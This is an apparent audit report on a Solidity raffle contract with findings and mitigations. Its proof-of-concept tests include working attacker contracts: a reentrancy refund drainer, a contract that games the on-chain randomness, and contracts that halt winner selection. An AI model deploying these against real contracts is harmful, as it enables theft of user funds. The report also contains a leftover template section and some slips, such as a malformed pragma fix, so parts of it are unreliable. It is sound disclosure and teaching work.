PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

June 25, 2026

Protocol Audit Report

Onyeka

June 25, 2026

Prepared by: Onyeka Lead Auditors: - Onyeka

Table of Contents

    * [M-1] Looping through the unbounded players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
    * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
    * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
    * [M-4] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start a new contest
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, which may lead a player at index 0 to incorrectly think they are not already in the raffle
  - Informational/Non-Crits
    * [I-1] Unspecific Solidity Pragma
    * [I-2] Outdated Solidity Versio
    * [I-3] Address State Variable Set Without Checks
    * [I-4] `PupyRaffle:selectWinner` does not follow CEI, which is not a best practice
    * [I-5] Use of "magic" numbers is discouraged
    * [I-6] State changes are mssing events
    * [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed
  - Gas
    * [G-1] Unchanged state variablles should be declared constant or immutable.
    * [G-2] Storage variables in a loops should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Onyeka team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Scope Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	5
Medium	4
Low	1
Info	7
Gas	2
Total	18

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows an attacker can drain contract with a malicious receive or fallback function

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balances.

In the `PuppyRaffle::refund` function, an external call to the `msg.sender` address is made, only after making that external call is the `PupyRaffle::players` array updated

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

A player who entered the raffle could have a `fallback`/`receive` function that calls `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle
2. Attackers sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attackers enters the raflle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

Code

Add the following to the `PuppyRaffleTest.t.sol` test file

```
    function test_reentrancyINRefund() public {
        // Victim players enter raffle
        uint256 playersNum = 20;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        // Attacker setup and launch reentrancy attack
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingRaffleContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Attacker Contract Balance before attack: ", startingAttackContractBalance);
        console.log("PuppyRaffle Contract Balance before attack: ", startingRaffleContractBalance);

        console.log("Attacker Contract Balance after attack: ", address(attackerContract).balance);
        console.log("PuppyRaffle Contract Balance after attack: ", address(puppyRaffle).balance);
```

```
27
28          assertEq(address(puppyRaffle).balance, 0);
29          assertEq(address(attackerContract).balance, (entranceFee *
                playersNum) + entranceFee);
30      }
```

And this contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have tthe `PuupyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event up as well.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
```

```
            player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy NFT

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Notes: This additionally means users could front-run this function and call `refund` if they see that they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the lottery. Hence, winner is no longer choosen at pure randomness.

Also because the same method is used to generate the puppy rarity, they could manipulate the number and mint the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept:

1. Validators ahead of time can know the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [solidity blog on prevrandao]{https://soliditydeveloper.com/prevrandao}. `block.difficulty` is now `block.prevrandao`
2. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.
3. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!

Proof of Code

Add the following to the `PuppyRaffleTest.t.sol` test file

```
1   function test_RandomnessCanBeGamed() public {
```

```
        // 5 real players first enter raffle
        uint256 playersNum = 5;
        address[] memory playersToAdd = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersToAdd[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            playersToAdd);

        vm.warp(block.timestamp + 1 days + 1);

        // Deploy Attack Contract
        RandomnessAttack attackerContract = new RandomnessAttack(
            address(puppyRaffle));

        // Attack, manipulate randomness
        attackerContract.attackRandomness{value: 4 ether}(); // value
            needed may vary

        // Assert
        uint256 attackbalanceAfter = address(attackerContract).balance;
        console.log("attackerBalanceAfter: ", attackbalanceAfter);
        assertEq(address(puppyRaffle.getPreviousWinner()), address(
            attackerContract));
    }
```

```
contract RandomnessAttack {
    PuppyRaffle raffle;

    constructor(address puppy) {
        raffle = PuppyRaffle(puppy);
    }

    function attackRandomness() public payable {
        uint256 playersLength = raffle.getPlayersLength();

        uint256 winnerIndex;
        uint256 toAdd = playersLength; // starts at real player length
            - assuming it 5 with last player at index 4
        // Basically this loop tries to figure out how many players in
            total must be in the players array for winnerIndex to fall
            into the Attack contracts index
        while (true) {
            winnerIndex =
                uint256(keccak256(abi.encodePacked(address(this), block
                    .timestamp, block.difficulty))) % toAdd;
            if (winnerIndex == playersLength) break; // stop looping if
                it lands on Attacker's index - 5
            ++toAdd;
        }
        uint256 toLoop = toAdd - playersLength; // Total Players needed
```

```
                - Current total players
21
22          // Set up playersToAdd with Attacker address occupying 0th
23          address[] memory playersToAdd = new address[](toLoop);
24          playersToAdd[0] = address(this);
25          for (uint256 i = 1; i < toLoop; ++i) {
26              playersToAdd[i] = address(i + 100);
27          }
28
29          uint256 valueToSend = 1e18 * toLoop;
30          // Enter raffle with Attacker at 5th index in players array
31          raffle.enterRaffle{value: valueToSend}(playersToAdd);
32          raffle.selectWinner();
33      }
34
35      receive() external payable {}
36
37      function onERC721Received(address operator, address from, uint256
            tokenId, bytes calldata data)
38          public
39          returns (bytes4)
40      {
41          return this.onERC721Received.selector;
42      }
43  }
```

Using on-chain values as a randomness seed is a [well-documented attack vector]{https://medium.com/better-programming/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf} in the block chain space.

Recommended Mitigation: Consider using a cryptographically proveable random number generator such as [Chainlink VRF]{https://docs.chain.link/vrf}.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max; // 18.446744073709551615
2 myVar = myVar + 1; // myVar will now be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variables overflows, the `feeAddresses` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players

2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 178000000000000000
// due to overflow, the following is now the case
totalFees = 1553255926290448384
```

4. you will not be able to withdraw due to the strict ETH equality check in `PuppyRaffle::withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract that the above will be impossible to hit.

Proof of Code

```
    function test_totalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800,000,000,000,000,000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("starting total fees: ", startingTotalFees);
        console.log("ending total fees: ", endingTotalFees);
```

```
27          assert(endingTotalFees < startingTotalFees);
28
29          // We are also unable to withdraw any fees because of the
                require check
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.0;
```

Alternatively, you could also use the `SafeMath` library of OpenZeppelin for version of 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

2. Use a `uint256` instead of `uint64` for `totalFees`

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 -     require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardlessy.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

[S-#] TITLE (Root Cause + Impact)

Description:

Impact:

Proof of Concept:

Recommended Mitigation:

[H-5] Potential Loss of Funds During Prize Pool Distribution

Description: In `PuppyRaffle::refund` function, a player's address is set to `address(0)` in the `players` array. Therefore when the `PuppyRaffle::selectWinner` is called and the random index generated happens to be that of the player who refunded, all the prize will be sent to `address(0)`.

```
1 players[playerIndex] = address(0);
```

Also there is a mis-calculation in the `PuppyRaffle::selectWinner` function, because a player has been refunded, so the contract now has lesser ETH balance. But this calculation still assumes that the players length is the same and tries to send more than the `PuppyRaffle` contract has to winner.

```
1 uint256 totalAmountCollected = players.length * entranceFee;
2 uint256 prizePool = (totalAmountCollected * 80) / 100;
```

Impact:

1. All the prize pool money will be lost to `address(0)`
2. If luckily winner is not `address(0)` transaction will revert with `outOfFunds`

Proof of Concept:

1. Player `Bob` enters lottery and his index is set to `5th` index
2. `Bob` calls `PupyRaffle::refund` to leave the raffle
3. `5th` is now set to `address(0)`
4. `PuppyRaffle:selectWinner` is called and random index happens to be `5th` index
5. Prize pool is sent to `address(0)` lossing everything.

Recommended Mitigation:

1. Delete the player index that has refunded.

```
-   players[playerIndex] = address(0);

+    players[playerIndex] = players[players.length - 1];
+    players.pop()
```

NOTE: This will change the position of the last element

2. Implement additional checks in the `selectWinner` function to ensure that prize money is not sent to address(0)

Medium

[M-1] Looping through the unbounded players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for subsequent players who enter much later after raffle started will be dramatically higher than that of those who entered at the early stage of the raffle. Every additional address in the `players` array, is an additional check the loop will have to make.

```
// @audit DoS attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: - 1st 100 players: ~6503225 - 2nd 100 players: ~18995465

This is 3x more expensive for the second 100 player.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
            // Let's enter 100 players first
            uint256 playersNum = 100;
            address[] memory players = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                players[i] = address(uint160(i));
            }
            // See how much gas it costs
            uint256 gasStart = gasleft();
            puppyRaffle.enterRaffle{value: entranceFee * players.length
                }(players);
            uint256 gasEnd = gasleft();
            uint256 gasUsedFirst = (gasStart - gasEnd);
            console.log("Gas cost of the first 100 players: ",
                gasUsedFirst);

            // Now for the second 100 players
            address[] memory playersTwo = new address[](playersNum);
            for (uint256 i = 0; i < playersNum; i++) {
                playersTwo[i] = address(uint160(i + playersNum)); //
                    instead of 0, 1, 2, -> 100, 101 ,102
            }
            // See how much gas it costs
            uint256 gasStartSecond = gasleft();
            puppyRaffle.enterRaffle{value: (entranceFee * players.
                length)}(playersTwo);
            uint256 gasEndSecond = gasleft();
            uint256 gasUsedSecond = (gasStartSecond - gasEndSecond);
            console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);

            assert(gasUsedFirst < gasUsedSecond);
        }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the

mapping would be a player address mapped to the raffle Id.

```
    // This will increment everytime a winner is chosen
    // Start from 1 since default value for uint256 in the
       usersToRaffleId is always 0
+   uint256 public raffleId = 1;
+   mapping(address => uint256) public usersToRaffleId;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           // Check for duplicates only from the new players
+           require(usersToRaffleId[newPlayers[i]] == raffleId, "
   PuppyRaffle: Duplicate player");
            players.push(newPlayers[i]);
+            usersToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
-       for (uint256 i = 0; i < players.length; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
-               require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-           }
-       }
        emit RaffleEnter(newPlayers);
    }
    .
    .
    .
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking

this check.

```
1      function withdrawFees() external {
2  @>      require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -       require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
```

```
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
```

```
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-4] Smart contract wallets raffle winners without a `receive` or `fallback` function will block the start a new contest

Description: The `PuppyRaffle::selectWiner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could reevert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets without a fallback or receive a function enters the lottery.
2. The lottery ends
3. Since all players rejects payment, The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrant (not recommended)
2. Create a mapping of addresses -> payout amount so winners can pull their funds out themselves with a new `claimPrize` function, putting the owners on the winner to claim their prize. (Recommended)

> Pull over Push Concept: Instead of pushing or forcing them payments, allow users to pull it themselves.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, which may lead a player at index 0 to incorrectly think they are not already in the raffle

Description: If a player is in the `PuppyRaffle::players` array at the first index, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1       /// @return the index of the player in the array, if they are not
            active, it returns 0
2       function getActivePlayerIndex(address player) external view returns
            (uint256) {
3           for (uint256 i = 0; i < players.length; i++) {
4               if (players[i] == player) {
5                   return i;
6               }
7           }
8   @>      return 0;
9       }
```

Impact: A player at index 0 may incorrectly think that they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle:players` updates index 0 to the user
3. `PuppyRaffle::getActivePlayerIndex` and it returns 0
4. User thinks they have not entered correctly due to the function's documentation.

Recommended Mitigation: The easiest recommendation would be to recert if the player is not in the array instead of returniing 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational/Non-Crits

[I-1] Unspecific Solidity Pragma

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

Recommended Mitigation: Lock up pragma versions

```
- pragma solidity ^0.8.0;
+ pragma solidity +0.8.0;
```

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Outdated Solidity Versio

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see [slither]{https://github.com/crytic/slither/wiki/Detector-Documentation#incorrect-versions-of-solidity} documentaton for more information

[I-3] Address State Variable Set Without Checks

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 67

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 214

```
        feeAddress = newFeeAddress;
```

[I-4] `PupyRaffle:selectWinner` does not follow CEI, which is not a best practice

Following CEI (Checks, Effects, Interactions) helps mitigate attacks like reentrancy.

```
-      (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

```
3           _safeMint(winner, tokenId);
4 +       (bool success,) = winner.call{value: prizePool}("");
5 +       require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1       uint256 prizePool = (totalAmountCollected * 80) / 100;
2       uint256 fee = (totalAmountCollected * 20) / 100;
```

instead, you could use:

```
1       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2       uint256 public constant FEE_PERCENTAGE = 20;
3       uint256 public constant POOL_PRECISION = 100;
```

[I-6] State changes are mssing events

[I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Gas

[G-1] Unchanged state variablles should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::raraImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loops should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 +       uint256 playersLength = players.lenth;
2 -       for (uint256 i = 0; i < players.length - 1; i++) {
```

```
3 +         for (uint256 i = 0; i < playersLength - 1; i++){
4 -             for (uint256 j = i + 1; j < players.length; j++) {
5 +             for (uint256 j = i + 1; j < playersLength; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7               }
8           }
```